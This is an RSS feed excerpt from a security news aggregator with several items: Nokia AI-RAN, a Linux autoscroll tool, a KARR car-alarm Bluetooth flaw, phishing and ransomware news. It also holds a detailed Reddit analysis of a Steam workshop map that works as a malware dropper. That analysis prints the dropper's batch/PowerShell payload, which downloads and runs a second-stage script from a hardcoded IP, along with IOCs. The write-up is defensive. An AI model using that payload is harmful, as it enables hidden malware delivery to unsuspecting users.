<li>Industrial sensing-as-a-service, where Nokia and partners supply D‑apps for integrated sensing and positioning, and operators monetize them per site or per device.</li>



<li>Network‑exposed APIs for inference, location and RF sensing, integrated into operators’ broader network API portfolios as they pursue “network-as-a-platform” strategies.</li>



<li>Sector‑specific AI‑native services, such as stadium analytics, transportation corridor monitoring, or drone traffic management, built by ISVs on top of Nokia’s exposed E3 data.</li>
</ul>



<p class="wp-block-paragraph">For operators that already use Nokia’s MantaRay and SMO stacks for cross‑network optimization, AI‑RAN essentially becomes the local real‑time execution environment, while R‑apps/X‑apps continue to orchestrate macro-level behaviors. Mukherjee described this layered architecture as “DU and CU on the platform running D‑apps using E3, interfacing to X‑apps and R‑apps through E2SM and connecting to the overall management system/SMO for lifecycle management.”</p>



<h2 class="wp-block-heading">Adoption path and reality check</h2>



<p class="wp-block-paragraph">Nokia is not promising instant transformation. AI‑RAN pilots are slated for late 2026, with commercial availability on card‑based systems in 2027 and AirScale-based systems around 2028, all driven from a single software stack that supports 4G, 5G and is upgradable to 6G. The company already has trials and collaborations underway with T‑Mobile US, SoftBank, Indosat Ooredoo Hutchison, BT, Elisa, Vodafone, Orange, NTT Docomo, Deutsche Telekom and others.</p>



<p class="wp-block-paragraph">There are still open questions around 3GPP vs ORAN standardization of E3, the maturity of the D‑apps ecosystem, and how operators will digest yet another subscription layer tied to radio software. But Nokia’s move puts a stake in the ground: in the AI era, the RAN is not just a throughput engine; it’s a programmable AI computer that can be monetized.</p>



<p class="wp-block-paragraph">For <em>Network World</em> readers evaluating vendor roadmaps, this launch suggests a clear directional change. If Nokia hits its targets, AI‑RAN could mark the point where baseband becomes less about hardware SKUs and more about an AI platform strategy—one where spectral efficiency and new services are rolled out at “software speed,” as Ed described it, rather than at the pace of the next card generation.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[midscroll: Windows-style middle-click autoscroll for Linux, implemented at the evdev layer so it works in every app on Wayland and X11]]></title>
<description><![CDATA[Windows has middle-click drag autoscroll. On Linux you get it in Firefox, and Chromium has it behind a flag, but nowhere else, which bugged me enough to write a daemon for it. Hold middle-click and drag, page scrolls that way, faster the further you drag. Release to stop. A plain middle click sti...]]></description>
<link>https://tsecurity.de/de/3690946/linux-tipps/midscroll-windows-style-middle-click-autoscroll-for-linux-implemented-at-the-evdev-layer-so-it-works-in-every-app-on-wayland-and-x11/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690946/linux-tipps/midscroll-windows-style-middle-click-autoscroll-for-linux-implemented-at-the-evdev-layer-so-it-works-in-every-app-on-wayland-and-x11/</guid>
<pubDate>Fri, 24 Jul 2026 10:02:54 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Windows has middle-click drag autoscroll. On Linux you get it in Firefox, and Chromium has it behind a flag, but nowhere else, which bugged me enough to write a daemon for it.</p> <p>Hold middle-click and drag, page scrolls that way, faster the further you drag. Release to stop. A plain middle click still pastes and opens links like normal. Diagonal drags do both axes. There's a toggle mode too if you'd rather click once to start it instead of holding.</p> <p>It works everywhere because it sits at the kernel input layer instead of hooking a toolkit. Grabs each mouse via evdev, re-emits through a per-mouse uinput mirror, injects wheel events during a drag. Nothing above it has to cooperate, so Wayland and X11 both just work. Mirrors copy the source mouse's name and IDs so libinput keeps your per-device pointer speed.</p> <p>Speed curve is Chromium's actual Windows autoscroll formula, 0.000008 * distance^2.2 px/ms. Tiny drags crawl, big ones fly. Tunable in a config file or a GTK settings window.</p> <p>Fair warning that it reads every mouse as root, so read it before you run it. It's two small Python files. The systemd unit is sandboxed and I left comments on why the directives I couldn't use would break it.</p> <p>Badge only shows on KDE Wayland, no flatpak, toggle mode kills middle-click paste. Rest is in the readme.</p> <p>FOSS under Unlicense</p> <p><a href="https://github.com/gnhen/midscroll">https://github.com/gnhen/midscroll</a></p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/gnh999"> /u/gnh999 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v503xk/midscroll_windowsstyle_middleclick_autoscroll_for/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v503xk/midscroll_windowsstyle_middleclick_autoscroll_for/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[2.2 Million Vehicles Exposed to KARR Bluetooth Security Flaw]]></title>
<description><![CDATA[Millions of drivers with a dealer-installed KARR Security System are being urged to update their KARR alarm using an iPhone or Android device after researchers uncovered a Bluetooth vulnerability that could allow nearby attackers to unlock or immobilize affected vehicles.  

The flaw impacts mo...]]></description>
<link>https://tsecurity.de/de/3690937/it-security-nachrichten/22-million-vehicles-exposed-to-karr-bluetooth-security-flaw/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690937/it-security-nachrichten/22-million-vehicles-exposed-to-karr-bluetooth-security-flaw/</guid>
<pubDate>Fri, 24 Jul 2026 09:54:05 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="826" height="496" src="https://thecyberexpress.com/wp-content/uploads/KARR-Security-System.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="KARR Security System" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/KARR-Security-System.webp 826w, https://thecyberexpress.com/wp-content/uploads/KARR-Security-System-300x180.webp 300w, https://thecyberexpress.com/wp-content/uploads/KARR-Security-System-768x461.webp 768w, https://thecyberexpress.com/wp-content/uploads/KARR-Security-System-600x360.webp 600w, https://thecyberexpress.com/wp-content/uploads/KARR-Security-System-150x90.webp 150w, https://thecyberexpress.com/wp-content/uploads/KARR-Security-System-750x450.webp 750w, https://thecyberexpress.com/wp-content/uploads/KARR-Security-System.webp 826w, https://thecyberexpress.com/wp-content/uploads/KARR-Security-System-300x180.webp 300w, https://thecyberexpress.com/wp-content/uploads/KARR-Security-System-768x461.webp 768w, https://thecyberexpress.com/wp-content/uploads/KARR-Security-System-600x360.webp 600w, https://thecyberexpress.com/wp-content/uploads/KARR-Security-System-150x90.webp 150w, https://thecyberexpress.com/wp-content/uploads/KARR-Security-System-750x450.webp 750w" sizes="(max-width: 826px) 100vw, 826px" title="2.2 Million Vehicles Exposed to KARR Bluetooth Security Flaw 1"></p><span data-contrast="auto">Millions of drivers with a dealer-installed KARR Security System are being urged to update their KARR alarm using an iPhone or Android device after researchers uncovered a Bluetooth vulnerability that could allow nearby attackers to unlock or immobilize affected vehicles. </span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The flaw impacts more than 2.2 million vehicles equipped with the aftermarket security system, but it does not affect factory-installed vehicle software, Apple CarPlay or Apple's iPhone platform.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">KARR Security System Vulnerability Affects Dealer-installed Hardware</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The KARR <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="Security" data-wpil-keyword-link="linked" data-wpil-monitor-id="29119">Security</a> System is installed by dealerships to secure vehicles on their lots. In many cases, the hardware remains connected even after buyers decline the paid KARR alarm service. Because it is third-party equipment, automakers cannot deliver fixes through their standard software update process.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Researchers from the <a href="https://appleinsider.com/articles/26/07/22/if-youve-got-this-dealer-installed-car-alarm-patch-it-today-with-your-iphone" target="_blank" rel="nofollow noopener">University of California</a>, San Diego found that attackers within Bluetooth range could lock or unlock vehicles, disable alarms, activate horns, flash lights, or prevent parked vehicles from starting. However, they confirmed the flaw cannot remotely start a vehicle or control it while driving.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">iPhone App Update Fixes KARR Alarm Flaw</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Acrisure Protection Group, which sells the KARR Security System, released a firmware update on July 20 after researchers privately disclosed the issue in January 2025. Owners using the KARR Security app on an <a href="https://thecyberexpress.com/iphone-bootrom-vulnerability/" target="_blank" rel="noopener">iPhone</a> should receive an update notification. Others must download the app, connect it to the KARR alarm, then navigate to "Customer Service" and "Firmware Update."</span>

<span data-contrast="auto">The patch was released before presentations scheduled for DEF CON on August 9 in Las Vegas and the USENIX Security Symposium on August 12 in Baltimore.</span>
<h3 aria-level="2"><b><span data-contrast="none">Hidden KARR Security System Complicates Updates</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Researchers estimate at least half of affected owners never requested the KARR Security System. Dealerships often left deactivated hardware installed, yet researchers found these units continued broadcasting <a href="https://thecyberexpress.com/apple-airpods-firmware-update/" target="_blank" rel="noopener">Bluetooth</a> signals while vehicles were running and for up to 10 minutes after being switched off.</span>

<span data-contrast="auto">Owners can identify the system by checking for a KARR or "SWDS" sticker on the driver's window or a blinking button beneath the dashboard. Most affected vehicles were purchased from Honda, Toyota, Mazda, Ford and Jeep dealerships in Southern California between 2017 and July 21, although impacted vehicles were also identified elsewhere.</span>
<h3 aria-level="2"><b><span data-contrast="none">Shared Bluetooth Key Exposes KARR Alarm Devices</span></b></h3>
<span data-contrast="auto">Researchers discovered a universal authentication key embedded in the official smartphone app while reverse engineering Bluetooth communications. Using a proof-of-concept Android app, they unlocked vehicles, disabled KARR alarm functions, and triggered horns and lights.</span>

<span data-contrast="auto">Although the flaw alone cannot steal a vehicle, researchers said it could provide quiet access before a commercially available locksmith tool creates a working key. Acrisure described the attack as "highly complex" and said the real-world <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-risks-in-cybersecurity/" title="risk" data-wpil-keyword-link="linked" data-wpil-monitor-id="29118">risk</a> is low. Neither UC San Diego nor Wired found evidence of <a href="https://thecyberexpress.com/nation-state-hackers-weaponize-winrar-flaw/" target="_blank" rel="noopener">criminals</a> exploiting the vulnerability.</span>
<h3 aria-level="2"><b><span data-contrast="none">Privacy Concerns and Recommended Action</span></b></h3>
<span data-contrast="auto">Researchers also warned that Bluetooth signals from the KARR Security System could reveal vehicle locations. Using the WiGLE wireless database, they estimated at least 2.2 million Bluetooth-enabled systems had been deployed and detected 97 KARR-equipped vehicles during a 20-minute drive near the UC San Diego campus.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Drivers should confirm whether their vehicle contains a KARR Security System, install the latest firmware using the iPhone or Android app, and contact their dealership or KARR support if they cannot complete the update.</span><span data-ccp-props="{}"> </span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Europe's Multilingual Reality Exposes AI Security Gaps]]></title>
<description><![CDATA[The AI security layer and guardrails for many AI products don't evenly protect against jailbreaking and unsafe actions in every single language.]]></description>
<link>https://tsecurity.de/de/3690894/it-security-nachrichten/europes-multilingual-reality-exposes-ai-security-gaps/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690894/it-security-nachrichten/europes-multilingual-reality-exposes-ai-security-gaps/</guid>
<pubDate>Fri, 24 Jul 2026 09:10:20 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The AI security layer and guardrails for many AI products don't evenly protect against jailbreaking and unsafe actions in every single language.]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft Warns Phishing Attacks Are Moving Beyond Email Into Workplace Communication Tools]]></title>
<description><![CDATA[Microsoft has warned that phishing operators are increasingly targeting workplace communication platforms such as Microsoft Teams, using chat messages and voice calls to exploit the trust employees place in internal collaboration tools. While email remains the primary initial-access channel, Team...]]></description>
<link>https://tsecurity.de/de/3690846/it-security-nachrichten/microsoft-warns-phishing-attacks-are-moving-beyond-email-into-workplace-communication-tools/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690846/it-security-nachrichten/microsoft-warns-phishing-attacks-are-moving-beyond-email-into-workplace-communication-tools/</guid>
<pubDate>Fri, 24 Jul 2026 08:41:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Microsoft has warned that phishing operators are increasingly targeting workplace communication platforms such as Microsoft Teams, using chat messages and voice calls to exploit the trust employees place in internal collaboration tools. While email remains the primary initial-access channel, Teams-based social engineering and voice phishing surged during the second quarter of 2026 Microsoft Threat Intelligence […]</p>
<p>The post <a href="https://cyberpress.org/workplace-tools-face-phishing/">Microsoft Warns Phishing Attacks Are Moving Beyond Email Into Workplace Communication Tools</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[USA und Verbündete: Russische Hacker stahlen E-Mails ohne Social Engineering]]></title>
<description><![CDATA[Die Vereinigten Staaten und mehr als ein Dutzend verbündeter Staaten erklärten am Donnerstag, russische Hacker hätten E-Mails von Nutzern des ...]]></description>
<link>https://tsecurity.de/de/3690801/hacking/usa-und-verbuendete-russische-hacker-stahlen-e-mails-ohne-social-engineering/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690801/hacking/usa-und-verbuendete-russische-hacker-stahlen-e-mails-ohne-social-engineering/</guid>
<pubDate>Fri, 24 Jul 2026 08:13:58 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Die Vereinigten Staaten und mehr als ein Dutzend verbündeter Staaten erklärten am Donnerstag, russische <b>Hacker</b> hätten E-Mails von Nutzern des ...]]></content:encoded>
</item>
<item>
<title><![CDATA[Chaos Ransomware Uses msaRAT to Route C2 Traffic Through Headless Chrome and Edge]]></title>
<description><![CDATA[The Chaos ransomware group ran its command-and-control through the victim’s own browser. Cisco Talos on Thursday detailed msaRAT, the Rust implant behind it, found on a compromised Windows machine ahead of the encryptor. The implant never opens an outbound connection of its own. Its process talks...]]></description>
<link>https://tsecurity.de/de/3690605/it-security-nachrichten/chaos-ransomware-uses-msarat-to-route-c2-traffic-through-headless-chrome-and-edge/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690605/it-security-nachrichten/chaos-ransomware-uses-msarat-to-route-c2-traffic-through-headless-chrome-and-edge/</guid>
<pubDate>Fri, 24 Jul 2026 05:19:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Chaos ransomware group ran its command-and-control through the victim’s own browser. Cisco Talos on Thursday detailed msaRAT, the Rust implant behind it, found on a compromised Windows machine ahead of the encryptor. The implant never opens an outbound connection of its own. Its process talks to 127.0.0.1 and nothing else. It starts Chrome or […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Workshop map for MECCHA CHAMELEON is a malware dropper (full breakdown)]]></title>
<description><![CDATA[Table of Contents  Intro Initial Symptom First Look at the Workshop Files Verifying the Asset Files AssetRegistry.bin Reveals the First Clue Opening the UE5 Asset Container Reverse Engineering the Blueprint Extracting the Embedded Payload Analyzing the Dropper Script Confirming Execution on an Af...]]></description>
<link>https://tsecurity.de/de/3690349/malware-trojaner-viren/workshop-map-for-meccha-chameleon-is-a-malware-dropper-full-breakdown/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690349/malware-trojaner-viren/workshop-map-for-meccha-chameleon-is-a-malware-dropper-full-breakdown/</guid>
<pubDate>Fri, 24 Jul 2026 00:21:11 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><h1>Table of Contents</h1> <ul> <li>Intro</li> <li>Initial Symptom</li> <li>First Look at the Workshop Files</li> <li>Verifying the Asset Files</li> <li>AssetRegistry.bin Reveals the First Clue</li> <li>Opening the UE5 Asset Container</li> <li>Reverse Engineering the Blueprint</li> <li>Extracting the Embedded Payload</li> <li>Analyzing the Dropper Script</li> <li>Confirming Execution on an Affected PC</li> <li>Did the Second Stage Execute?</li> <li>Analysis Summary</li> <li>Limitations &amp; Unknowns</li> <li>IOCs</li> <li>Final verdict</li> </ul> <p>A couple of my friends reported seeing a command prompt window briefly appear while Steam was downloading a custom workshop map. The map was being downloaded through the game's in-game lobby and, once the download completed it immediately began loading for the match. Since the command prompt window appeared during this transition, I decided to investigate the workshop files.</p> <p>What I found was a seemingly ordinary workshop map that contained what appears to be a malware dropper, despite having passed workshop review.</p> <p>I'm writing this up because, as far as I know, the map is still available, and because the techniques it uses to hide are worth understanding if you download workshop content. While there are still a few parts of the execution chain I can't fully explain, the artifacts themselves are interesting from a reverse engineering perspective.</p> <p><a href="https://preview.redd.it/nn7j9wf4q1fh1.png?width=1265&amp;format=png&amp;auto=webp&amp;s=0276954f24bafc16cee6b2fc2569c12bedeaea51">https://preview.redd.it/nn7j9wf4q1fh1.png?width=1265&amp;format=png&amp;auto=webp&amp;s=0276954f24bafc16cee6b2fc2569c12bedeaea51</a></p> <p><strong>1): The Initial Symptom</strong></p> <p>A black command prompt window flashed on screen for about a second before disappearing. It appeared while Steam was still downloading the workshop map, just as the game was transitioning into loading it for the match. There were no crashes, error messages, or any other unusual behavior. On its own, it would have been easy to dismiss as Steam running a background process, but seeing a console window appear during a workshop download / match launch was unusual enough that I decided to investigate.</p> <p><strong>2): First Look at the Workshop Files</strong></p> <p>The workshop content is located here:</p> <pre><code>Steam\steamapps\workshop\content\4704690\3765145606\ </code></pre> <p>At first glance, there’s nothing suspicious in the folder. The contents are:</p> <pre><code>AssetRegistry.bin Preview.png Sample.vdf SampleMyUGCMecchaCModKit_Load-Windows.pak SampleMyUGCMecchaCModKit_Load-Windows.ucas SampleMyUGCMecchaCModKit_Load-Windows.utoc </code></pre> <p>There are no executables, DLLs, batch files, or scripts. The <code>.pak</code>, <code>.ucas</code>, and <code>.utoc</code> files are simply the standard Unreal Engine 5 asset container format used for packaging game content exactly what you would expect to see from a UE5 map or mod.</p> <p>This is worth emphasizing: if you were manually checking this folder for malware, there would be no obvious red flags here. Nothing in this directory suggests anything malicious. That is likely why it passed review in the first place.</p> <p><strong>3): Verifying the Asset Files</strong></p> <p>File extensions are easy to spoof, so I checked the actual file headers and scanned the contents for embedded executable data.</p> <p>The results:</p> <ul> <li>utoc starts with <code>-==--==--==--==-</code>, which is the real IoStore magic</li> <li>pak has the correct <code>0x5A6F12E1</code> footer magic</li> <li>no MZ/PE, ELF or ZIP headers anywhere in any file</li> </ul> <p>The files appear to be valid Unreal Engine asset containers, not disguised executables. There is no standalone executable payload present in this mod. If there is unexpected behavior, it would have to be occurring through the game’s normal asset-loading pipeline rather than from an included executable file.</p> <p><strong>4): AssetRegistry.bin Reveals the First Clue</strong></p> <p>This is the detail that stands out most from the entire investigation.</p> <p>AssetRegistry.bin is largely readable metadata. You can open it in a text editor and see references to the actors placed throughout the maps. Normally, it contains exactly the kind of information you would expect: StaticMeshActor, PointLight, PlayerStart, and other standard Unreal Engine objects.</p> <p>However, one Blueprint actor immediately stands out:</p> <pre><code>/Game/Mods/NewMap.NewMap:PersistentLevel.BP_RCE_Test_C_0 </code></pre> <p>Its class resolves as:</p> <pre><code>BP_AmbientController_C </code></pre> <p>Those two names together are unusual. The class name suggests a harmless environmental or lighting-related system especially since it appears under folders such as Environment and Lighting. However, the placed actor still retains the older name BP_RCE_Test_C_0.</p> <p>In Unreal Engine, this can happen because placed actors keep the name they were created with even if the Blueprint class is later renamed. Renaming the class does not automatically rename every existing instance placed in maps.</p> <p>That means the BP_RCE_Test name likely existed at an earlier point in the asset’s history. Whether intentional or not, the old identifier remains embedded in the map metadata.</p> <p>The same reference appears across three separate maps included in the workshop item, including a NewMap_Backup file that appears to have been left in the upload.</p> <p><strong>5): Opening the UE5 Asset Container</strong></p> <p>The Blueprint data is stored inside the Oodle-compressed .ucas container. Reading the accompanying .utoc metadata reveals:</p> <pre><code>chunks ............ 57 blocks ............ 131 (130 Oodle-compressed) flags ............. Compressed | Indexed </code></pre> <p>No encryption flag is present, meaning the container can be inspected using available Unreal Engine asset tooling and compatible Oodle/Kraken decompression support. All 131 blocks decompress successfully, producing roughly 5.3 MB of extracted data.</p> <p>The container contains 55 assets in total: materials, meshes, textures, four maps, and three Blueprints. Two of those Blueprints appear to be untouched sample assets from the official ModKit, containing no custom logic.</p> <p>Searching across the extracted asset data revealed only a small number of notable references:</p> <pre><code>ReceiveBeginPlay ....... 1 ToFile ................. 1 GetPlatformUserDir ..... 1 powershell ............. 1 </code></pre> <p>These references are concentrated in a single Blueprint rather than being distributed throughout the package. There does not appear to be additional hidden logic elsewhere in the container, which makes the relevant behavior easier to isolate and analyze.</p> <p><strong>6): Reverse Engineering the Blueprint</strong></p> <p>The complete function chain is:</p> <pre><code>ReceiveBeginPlay ↓ GetPlatformUserDir ↓ Replace ↓ Concat_StrStr ↓ FromString (JSON) ↓ ToFile </code></pre> <p>Despite the Blueprint being named like an environment or lighting system, the logic does not appear to perform any lighting, ambience, or world-management functions. Instead, it constructs a file path and writes data to disk.</p> <p>Tracing the Blueprint bytecode shows the path construction:</p> <pre><code>dir = GetPlatformUserDir() // C:/Users/&lt;user&gt;/Documents/ path = dir + "s.bat" </code></pre> <p>ReceiveBeginPlay is normally called when the map begins loading, which does not fully match the behavior reported by some users, who observed activity during the download process itself. That discrepancy is not explained by the Blueprint logic alone, so it is worth treating those reports separately from the behavior confirmed through asset analysis.</p> <p><strong>7): Extracting the Embedded Payload</strong></p> <p>A single embedded string inside the Blueprint contains the following data:</p> <pre><code>{"x\"&amp;if not defined _Z (set _Z=1&amp;start /min cmd /c %~f0&amp;exit) else ( powershell -w hidden -ep bypass -c iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat; cmd /c $env:TEMP\s.bat&amp;exit)&amp;\"x":"1"} </code></pre> <p>The string is structured as a JSON/batch polyglot: it is valid JSON while also containing batch command syntax inside the JSON key. The command content is therefore preserved when written as JSON data, but can also be interpreted as a batch script if the resulting file is executed.</p> <p>This format is significant because the earlier Blueprint analysis showed that the file-writing step uses <code>ToFile</code>, which writes JSON data. The embedded content appears designed to satisfy that JSON requirement while retaining executable command syntax.</p> <p>The combination of a JSON-compatible wrapper and embedded command execution logic is not typical of normal Unreal Engine asset data and is a strong indicator that the content was deliberately constructed rather than being accidental or generated by the engine.</p> <p><strong>8): Analyzing the Dropper Script</strong></p> <p>The extracted script is also human-readable:</p> <pre><code>if not defined _Z ( set _Z=1 start /min cmd /c %~f0 exit ) else ( powershell -w hidden -ep bypass -c ^ iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat cmd /c $env:TEMP\s.bat exit ) </code></pre> <p>The script uses a simple two-stage execution flow.</p> <p>On the first run, <code>_Z</code> is not defined, so the script sets the variable, launches a minimized copy of itself, and exits. This relaunch behavior explains the brief command window flash reported by some users. At this stage, the script is acting as a launcher rather than performing the main action.</p> <p>On the second run, the <code>_Z</code> variable is already present, so the script follows the alternate branch. It starts PowerShell with a hidden window, modifies the execution policy for that process, downloads <code>steamb.bat</code> from a hardcoded external address, saves it to the temporary directory, and executes it.</p> <p>The <code>_Z</code> check appears to exist solely to prevent the script from repeatedly relaunching itself.</p> <p>The script itself is relatively simple: there is no evidence here of persistence mechanisms, privilege escalation, or sophisticated obfuscation. Its main purpose appears to be retrieving and executing a second-stage script. That second stage is hosted externally, meaning its contents can change independently of the original mod package.</p> <p><strong>9): Confirming Execution on an Affected PC</strong></p> <p>On one affected system, I found a file that was byte-for-byte identical to the payload string embedded in the Blueprint. It was located at the exact path identified during the bytecode analysis.</p> <p>This confirms that the Blueprint logic was not just theoretical, the file-writing behavior observed during reverse engineering occurred on a real system.</p> <p><a href="https://preview.redd.it/hav7l33dq1fh1.png?width=2252&amp;format=png&amp;auto=webp&amp;s=9fc74ff8ac7e3607889cb9a4f052d8d73e0f2f32">https://preview.redd.it/hav7l33dq1fh1.png?width=2252&amp;format=png&amp;auto=webp&amp;s=9fc74ff8ac7e3607889cb9a4f052d8d73e0f2f32</a></p> <p><strong>10): Did the second stage execute?</strong></p> <p>The second-stage file, <code>%TEMP%\s.bat</code>, was not present on the affected machine. The PowerShell Operational log explains why:</p> <p><a href="https://preview.redd.it/srmpq28pq1fh1.png?width=1577&amp;format=png&amp;auto=webp&amp;s=6a2841345f423906fafaa570acd20d85636e3b70">https://preview.redd.it/srmpq28pq1fh1.png?width=1577&amp;format=png&amp;auto=webp&amp;s=6a2841345f423906fafaa570acd20d85636e3b70</a></p> <p>The download request failed with an HTTP 404 response at the time of execution. Because the file was never successfully retrieved, nothing was written to disk and the following <code>cmd /c</code> command had no script to execute.</p> <p>On this system, the second stage did not execute. The contents and behavior of the downloaded payload remain unknown because the external file was unavailable at the time of analysis.</p> <p>The address embedded in the script resolves to <code>31.57.34.228</code>. At the time of analysis, the IP address was geolocated to Amsterdam, Netherlands, and was associated with Blockchain Creek B.V. (ASN 207994).</p> <p>This information identifies the hosting infrastructure used by the download URL, but it does not by itself identify the operator of the server or establish attribution. The important finding is that the Blueprint attempted to retrieve an additional payload from an external location, rather than containing the final payload entirely within the workshop files.</p> <p><a href="https://preview.redd.it/y1b4bj6sq1fh1.png?width=2546&amp;format=png&amp;auto=webp&amp;s=141474bd203a7d6529591ae09487da2e35e58026">https://preview.redd.it/y1b4bj6sq1fh1.png?width=2546&amp;format=png&amp;auto=webp&amp;s=141474bd203a7d6529591ae09487da2e35e58026</a></p> <p><strong>11): Analysis Summary</strong></p> <p>Based on the evidence recovered from the workshop item, this should be treated as malicious content. That conclusion does not rely on a single indicator; it comes from the combination of several independent findings:</p> <ul> <li>The Workshop uploader account appears to have been created only about one week before the item was published</li> <li>The Workshop map currently does not allow users to leave comments or ratings</li> <li>The only Blueprint containing custom logic was originally identified as <code>BP_RCE_Test</code> and later appeared under a name consistent with a harmless environment or lighting controller.</li> <li>The Blueprint executes automatically through <code>ReceiveBeginPlay</code>, rather than requiring an intentional user action inside the map.</li> <li>Its logic writes data outside the game directory into the user’s Documents folder, which is unrelated to normal map or asset behavior.</li> <li>The written content is a deliberately structured JSON/batch polyglot, allowing data written through a JSON-only function to retain executable batch syntax.</li> <li>That script launches hidden PowerShell, bypasses the local execution policy for the process, retrieves a second-stage file from a hardcoded external address, and attempts to execute it.</li> </ul> <p>What remains unknown is the purpose of the final payload. The second-stage script was not successfully retrieved during analysis and was no longer available from the remote location, so its behavior cannot be determined. Claims that it was specifically an infostealer, loader, or another type of malware would be speculation without that payload.</p> <p><strong>12): Limitations &amp; Unknowns</strong></p> <p><strong>What does</strong> <code>steamb.bat</code> <strong>do?</strong></p> <p>Unknown. The second-stage payload was not delivered during analysis, so its final behavior cannot be determined from the available evidence.</p> <h1>IOCs</h1> <pre><code>Workshop item 3765145606 "Laser Tag Neon" (appid 4704690) comments and ratings disabled on the listing uploader account roughly one week old Asset BP_AmbientController.uasset (originally BP_RCE_Test_C_0) Dropped file %USERPROFILE%\Documents\s.bat C2 http://31.57.34.228/work/steamb.bat Second stage steamb.bat (never delivered, contents unknown) Asset build 2026-06-09 22:37:14 s.bat 210 bytes sha256 1ff540bc3c493a93059e602b414ba61027ed1a2b8a079f6197b0718f4a2101b6 md5 04d6dfadd5248c995951707e27520ade container utoc aea429fbb44d552c917c22018e838e4154e68a8cac5806f7a8e30b61586ba2a6 ucas fbd932faba4ec8d614fbd7a68636e177213259bafe2babdcdc47c2a8acd6d569 pak aa58f9061a4e39e3f5a28395c56cfa5b0072d90e66054894f9c8022e81e396c9 </code></pre> <p><strong>Final Verdict</strong></p> <p>Based on everything I found, I believe this workshop item is very likely malicious, but there are still parts of the execution chain I couldn't directly observe.</p> <p>What I can say with confidence is that the asset contains a Blueprint whose only meaningful purpose is to write a batch file outside the game's directory into the user's Documents folder. That batch file then attempts to launch PowerShell with the execution policy bypassed, download a second batch file from a hard-coded external server, and execute it.</p> <p>I can't think of a legitimate reason for a Steam workshop map to write a .bat file into a user's Documents folder and then use PowerShell to fetch and run another <code>.bat</code> file from the Internet. Even without knowing what the second stage contained, that behavior is extremely difficult to explain as anything other than a malware delivery chain.</p> <p>Could there be some edge case I'm missing? Absolutely. That's why I've tried to separate facts from assumptions throughout this write-up. But given the evidence recovered from the assets themselves, I think calling this a malicious dropper is the conclusion best supported by the data</p> <p>Further independent investigation is encouraged, particularly if additional evidence becomes available. For now, the workshop item and the uploader have been reported and flagged for review.</p> <p>Cheers and stay safe!</p> <p>FeintBe</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/feintbe"> /u/feintbe </a> <br> <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1v4sged/workshop_map_for_meccha_chameleon_is_a_malware/">[link]</a></span>   <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1v4sged/workshop_map_for_meccha_chameleon_is_a_malware/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Agentic coding goes hands free as OpenAI brings GPT-Live's full duplex voice control to Codex and ChatGPT on the desktop]]></title>
<description><![CDATA[Two weeks after debuting its more naturalistic GPT-Live audio AI model with full-duplex capabilities (listening and speaking at the same time), OpenAI is bringing it directly into developer workflows. The company announced that GPT-Live now powers the ChatGPT desktop application on macOS and Wind...]]></description>
<link>https://tsecurity.de/de/3690348/it-nachrichten/agentic-coding-goes-hands-free-as-openai-brings-gpt-lives-full-duplex-voice-control-to-codex-and-chatgpt-on-the-desktop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690348/it-nachrichten/agentic-coding-goes-hands-free-as-openai-brings-gpt-lives-full-duplex-voice-control-to-codex-and-chatgpt-on-the-desktop/</guid>
<pubDate>Fri, 24 Jul 2026 00:20:42 +0200</pubDate>
